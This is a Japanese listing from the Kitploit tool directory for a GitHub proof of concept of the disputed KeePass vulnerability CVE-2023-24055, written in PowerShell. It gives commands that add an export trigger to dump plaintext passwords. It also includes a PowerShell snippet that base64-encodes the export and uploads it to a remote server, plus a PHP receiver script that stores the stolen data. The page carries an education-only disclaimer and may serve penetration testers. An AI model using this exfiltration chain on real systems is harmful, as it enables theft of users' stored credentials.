Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-24055 — CVE-2023-24055 POC (PowerShell で記述) | Kitploit
ツール/GitHubGitHub/yosef0x01/cve-2023-24055
パスワード攻撃脆弱性分析エクスプロイトデータ流出学習と教育
GitHubyosef0x01/cve-2023-24055

CVE-2023-24055

CVE-2023-24055 POC (PowerShell で記述)

リポジトリを見る
143年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

alt text

免責事項

このスクリプトは教育およびデモンストレーション目的でのみ使用されます。作者は、このスクリプトを犯罪や悪意のある活動に使用することを推奨または容認しておらず、明示的に許可された適切な許可がある場合にのみ使用すべきです。

このスクリプトは注意して使用してください。KeePassの設定ファイルを変更し、以前に設定されたトリガーを削除します。このスクリプトを使用すると、予期しない動作が発生し、KeePassアプリケーションが壊れる可能性があります。自己責任で使用してください。

はじめに

このスクリプトは、バージョン2.53までのKeePass(デフォルトインストール)における ** 論争中 ** の脆弱性(CVE-2023-24055)を示しています。この脆弱性により、XML設定ファイルへの書き込みアクセス権を持つ攻撃者が、エクスポートトリガーを追加することで平文パスワードを取得できます。なお、ベンダーの見解では、パスワードデータベースはローカルPCへのそのレベルのアクセス権を持つ攻撃者に対して安全であることを意図していません。

参考文献:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24055
  • https://www.bleepingcomputer.com/news/security/keepass-disputes-vulnerability-allowing-stealthy-password-theft/
  • https://keepass.info/

使い方

このスクリプトを使用するには、PowerShellで実行し、必要なパラメータを指定します。必須パラメータは次のとおりです。

  • -filename: パスワードをエクスポートするファイルのフルパスとファイル名。

オプションパラメータは次のとおりです。

  • -uploadURL: データを指定されたURLにアップロードすることを指定するスイッチ。
  • -url: データをアップロードするURL。

使用例

平文パスワードをエクスポートする:

root@kitploit:~
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt

平文パスワードをエクスポートし、Webサーバーにアップロードする:

root@kitploit:~
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php

詳細なヘルプ:

root@kitploit:~
get-help .\KlearPass.ps1 -Detailed

WebサーバーにファイルをアップロードするためのPHPスクリプトの例

root@kitploit:~
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
    $target_directory = '/var/www/html/KeePass/uploads/';
    $filename = $target_directory . $_POST['filename'];
    $data = base64_decode($_POST['data']);
    file_put_contents($filename, $data);
}
?>

PHPアップロードをテストするためのPowerShellスクリプトの例

root@kitploit:~
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");

クレジット

  • スクリプトは当初、https://github.com/GhostPack/KeeThief/blob/master/PowerShell/KeePassConfig.ps1 にあるコードをベースにしています。
  • エクスポートの外部流出のアイデアは、https://github.com/alt3kx/CVE-2023-24055_PoC にクレジットされています。
ツールをダウンロード